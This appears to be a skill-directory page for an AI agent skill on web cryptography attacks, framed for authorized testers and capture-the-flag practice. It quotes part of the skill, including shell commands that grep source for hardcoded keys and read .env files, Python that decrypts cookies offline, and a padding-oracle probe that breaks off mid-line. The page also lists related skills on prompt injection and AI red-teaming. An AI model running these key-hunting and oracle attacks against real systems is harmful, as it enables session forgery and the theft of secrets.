crypto
What it does
This skill guides the agent through finding weak encryption and signing in web apps, such as cookies or tokens. It is for security testers working on authorized targets or practice challenges.
When to use it
- βWhen a site's login cookie or token looks encrypted and you want to test whether it can be changed.
- βWhen a challenge or security review mentions block cipher or HMAC problems.
- βWhen you need a structured way to confirm a crypto weakness before trying to use it.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/crypto/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan you check whether the encrypted cookies in my app can be changed or decoded by an outsider?β
5 new skills a week. 1 minute to read.
How it works
The agent looks for a clear signal that shows whether the server accepts or rejects changed data, then uses that signal to test the weakness within a fixed request limit.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Web Crypto Exploitation
Exploits applications that misuse symmetric ciphers (CBC/ECB), MACs (HMAC, hash-length extension), or token signers (JWT). The decisive trick is almost always: find the oracle, prove the oracle is real, then iterate within a hard request budget. Without the proven oracle the attack burns the cycle.
Step 0 β Key Discovery (Do Before ANY Network Attack)
Check if the application key is hardcoded in source. CTF challenge apps frequently embed keys in source code. If you have filesystem access to the app, run this before any network probe:
# Find app source in the workspace
find /workspace -name "*.py" -o -name "*.js" -o -name "*.rb" -o -name "*.php" 2>/dev/null | head -20
# Grep for hardcoded keys
grep -rn 'AES_KEY\|SECRET_KEY\|key\s*=\s*[b'"'"'"'"'"'"'"'"']\|password\s*=' /workspace/*/app/ 2>/dev/null | head -20
# Also check environment files
cat /workspace/*/.env 2>/dev/null; cat /workspace/*/app/.env 2>/dev/null
If the key is found, decrypt offline immediately β no oracle, no network requests:
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding as crypto_padding
KEY = b'C' * 32 # replace with discovered key
cookie = "<base64-cookie-from-browser>"
raw = base64.b64decode(cookie)
iv, ct = raw[:16], raw[16:]
cipher = Cipher(algorithms.AES(KEY), modes.CBC(iv))
pt = cipher.decryptor().update(ct) + cipher.decryptor().finalize()
# Remove PKCS7 padding
unpadder = crypto_padding.PKCS7(128).unpadder()
plaintext = unpadder.update(pt) + unpadder.finalize()
print("plaintext:", plaintext)
Only proceed to the oracle-based attack below if no key is found in source.
Recognition Signals
Trigger this skill when ANY of the following are present:
- Base64 cookie / token whose decoded length is a multiple of 16 (AES-CBC) or 8 (DES/3DES). Length boundaries are the giveaway:
len(b64decode(token)) % 16 == 0and not 32 or 48 β likely 1-2 blocks of CBC;% 16 == 0with 32-64 bytes β IV+ciphertext pattern. - Distinct error responses for "invalid padding" vs "invalid auth/decryption". Status code, body, length, or even response time differences across the two failure modes ARE the oracle. If the two modes look identical, no oracle.
- JWT in
Authorization: Bearer <three-base64-segments-separated-by-dots>. Always inspectalgheader (alg=none,alg=HS256with public-key confusion,alg=RS256βHS256substitution). - Repeated 16-byte ciphertext blocks within a single token β direct ECB tell. Decode base64, slice into 16-byte blocks, look for duplicates.
- Server returns separate encrypted blob + tag/HMAC concatenated β candidate for HMAC bypass / hash-length extension if the MAC scheme is weak (e.g.
MD5(secret || message)). - Challenge tag includes
crypto,cipher,oracle,captcha,encrypted_captcha,padding,hmac_bypass,jwt,length_extension.
Confirm-Oracle Gate
STOP β before iterating any payload, prove the oracle is real. The single most common mis-allocation here is hammering thousands of padding-oracle requests against a server whose two error modes are actually identical. The gate is one in-file probe that issues exactly two requests and prints both responses side-by-side.
Layout detection (run before the gate): Decode the token and determine the IV/CT layout. AES-CBC tokens always use IV(16) || CT(16 * N) β the first 16 bytes are always the IV. Confirm:
import base64
raw = base64.b64decode("<TOKEN>")
print(f"total bytes: {len(raw)}, blocks: {len(raw)//16}")
# len==32 β IV(16) + 1 ciphertext block (16 bytes of plaintext)
# len==48 β IV(16) + 2 ciphertext blocks (32 bytes of plaintext)
# len==64 β IV(16) + 3 ciphertext blocks (48 bytes of plaintext)
# The IV is ALWAYS raw[:16]. Ciphertext is raw[16:].
Also identify the correct cookie/parameter name. Check the response headers from a GET request to confirm the cookie name:
curl -sv "$TARGET/" 2>&1 | grep -i 'set-cookie'
Use that exact cookie name (e.g. captcha, session, token) in every subsequent request.
timeout 60 python3 -u -c '
import base64, requests, sys
URL = "https://<TARGET>/decrypt"
TOKEN = "<base64-cookie-or-token-from-recon>"
ct = bytearray(base64.b64decode(TOKEN))
# Probe A: flip the LAST byte of the SECOND-TO-LAST block (corrupts plaintext padding of last block)
flipped = bytearray(ct)
flipped[-1
FAQ
Does the skill need the app's secret key?
No, but it first checks whether the key is exposed in the source code. If it is, the skill can decrypt data offline without sending requests.
Why does the skill set a request limit?
A fixed request budget keeps tests from running too long or flooding the target.
Which kinds of encryption does it cover?
It covers common cases such as CBC and ECB block ciphers, HMAC checks and JWT signing.
Details
Original description by the author
Web crypto exploitation β padding-oracle (Vaudenay), AES-CBC bit-flipping / IV manipulation, AES-ECB pattern attacks (cut-and-paste, prefix/suffix recovery), HMAC bypass, hash-length extension, JWT alg confusion. Covers detection signals, working in-file Python harnesses (concurrent.futures, timeout=5, python3 -u, bounded request budget), and the confirm-oracle gate that must fire before iteration.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14056
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.